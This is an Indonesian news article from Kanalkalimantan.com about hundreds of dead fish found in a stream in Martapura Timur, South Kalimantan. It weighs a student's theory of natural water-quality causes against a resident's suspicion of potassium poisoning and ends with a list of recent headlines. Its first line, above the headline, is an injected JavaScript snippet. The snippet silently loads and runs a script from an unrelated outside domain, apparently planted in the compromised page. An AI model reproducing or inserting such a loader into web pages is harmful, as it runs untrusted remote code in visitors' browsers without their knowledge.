(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ratusan Ikan Ditemukan Mati di Martapura Timur, Perubahan Cuaca atau Potasium?


KANALKALIMANTAN.COM, MARTAPURA – Ratusan ikan sepat mengapung di sebuah aliran sungai di Desa Keramat Baru, Kecamatan Martapura Timur.

Ikan yang biasa hidup di air tawar dan rawa itu dijumpai sudah membusuk mengambang di area bawah jembatan, terlihat juga air sungai itu berwarna cokelat pekat.

Ismail, seorang mahasiswa Universitas Lambung Mangkurat (ULM) mengunggah sebuah foto ikan-ikan tersebut di storygram akun instagram miliknya, Minggu (1/8/2021) pukul 11.00 Wita.

Baca juga: Rekor Kematian Tertinggi 48 Orang, Hari Ini Ada Tambahan 720 Kasus Positif Covid-19 di Kalsel

 

 

Kepada Kanalkalimantan.com, mahasiswa Fakultas Teknik, Prodi Teknik Lingkungan ULM ini menemukan pemandangan kawanan ikan sepat itu secara tidak sengaja.

“Saya mau ziarah ke makam Datu Bagul, daerah Martapura Timur. Saat melewati jalan menuju makam. Cukup kaget,” ujar Mail.

Ismail mengatakan bahwa ia sangat bersemangat untuk memperhatikan dan menganalisa kasus yang dilihatnya.

“Karena saya mahasiswa yang mempelajari isu-isu lingkungan, dipertemukan dengan kejadian seperti ini, saya merasa perlu menggali kembali ilmu yang saya pelajari di kampus,” katanya.

Ikan-ikan yang ditemukan mati di kawasan perairan dekat Makam Datu Bagul, Kecamatan Martapura Timur, Minggu (1/8/2021). Foto: ist

Ismail menduga bahwa ratusan ikan yang mati ini karena hal yang alamiah. “Sungai atau kali itu termasuk bagian dari saluran di persawahan, jauh juga dari kegiatan industri. Kalau dibilang disebabkan oleh manusia, saya rasa bukan. Saya lebih berpendapat karena alamiahnya begitu,” ujarnya mencoba menganalisa.

Mengingat beberapa hari terakhir iklim tidak menentu, cuaca banyak panas tapi beberapa kali juga hujan. Karena perubahan suhu, jadi mempengaruhi intensitas dan viskositas air yang menyebabkan beberapa zat organik meningkat.

Contohnya seperti Fe dan Mn, datangnya dari dekomposisi bahan organik. Daerahnya persawahan, padangnya bahan organik. Kandungan ini menyebabkan pH air turun drastis dan ikan bisa saja tidak bisa beradaptasi. Intensitas air lebih kecil, jadi airnya kurang mengalir, kandungan BOD (Biological Oxygen Demand) meningkat yang mempengaruhi kandungan oksigen terlarut dalam air.

“Seperti yang kita ketahui, jika kandungan BOD dalam air meningkat, maka kandungan oksigen akan menurun,” jelasnya.

“Tapi kasus ini perlu dicek lebih lanjut, itu tadi hanya pandangan saya saja,” sambung Ismail.

Ikan-ikan yang ditemukan mati di kawasan perairan dekat Makam Datu Bagul, Kecamatan Martapura Timur, Minggu (1/8/2021). Foto: ist

Baca juga: Keefektifan Vaksin Sinovac Susut Setelah 6 Bulan, Apakah Pemerintah Akan Berikan Booster?

Sementara itu, Fitri, warga sekitar menduga bahwa ikan-ikan yang mati tersebut dikarenakan aktivitas pemberian racun potasium. Kegiatan mamputas –bahasa banjar- atau memberi racun potasium ke ikan-ikan di sungai untuk kemudian ikan yang teler diambil.

“Tapi area yang biasanya memputas bukan di titik area situ, soalnya sudah nggak boleh lagi,” katanya.

“Memputas itu biasanya dilakukan jauh dari sana, tapi ada kemungkinan ikan mati jadi terbawa arus air,” ucap Fitri saat dihubungi Kanalkalimantan.com, Minggu (1/8/2021) pukul 13.16 Wita.

Kanalkalimantan.com mencoba menghubungi Dinas Lingkungan Hidup Kabupaten Banjar bidang Pengendali Pencemaran dan Kerusakan Lingkungan, namun belum dapat dimintai keterangan. (kanalkalimantan.com/nurul)

Reporter: nurul
Editor : bie


Desy Arfianty

Recent Posts

Digital Entrepreneurship Academy di HSU, Up Skilling untuk Calon Pelaku UMKM

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka pelatihan Digital Entrepreneurship Academy… Read More

6 jam ago

Penentuan Lokasi Transmigrasi Lokal Warga Terdampak Banjir, Ini Kata Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar rapat terkait penentuan lokasi rencana transmigrasi… Read More

7 jam ago

Optimalisasi Polder Alabio Salah Satu Prioritas dalam Musrenbang RKPD 2026

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana… Read More

7 jam ago

Jelang Coblosan Ulang, Pj Wali Kota: Serahkan Semua kepada Masyarakat, Jaga Netralitas ASN!

KANALKALIMANTAN.COM, BANJARBARU - Penjabat (Pj) Wali Kota Banjarbaru Subhan Nor Yaumil memimpin rapat koordinasi (Rakor)… Read More

10 jam ago

Perhatian Khusus Kasus Juwita, Komnas HAM Kumpulkan Fakta Lapangan

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Nasional Hak Asasi Manusia (Komnas HAM) Republik Indonesia (RI) Uli… Read More

11 jam ago

Komnas HAM RI ke Banjarbaru Penyelidikan Kasus Juwita

KANALKALIMANTAN.COM, BANJARBARU - Kasus pembunuhan berencana yang dilakukan Jumran, Anggota TNI AL Lanal Balikpapan terhadap… Read More

14 jam ago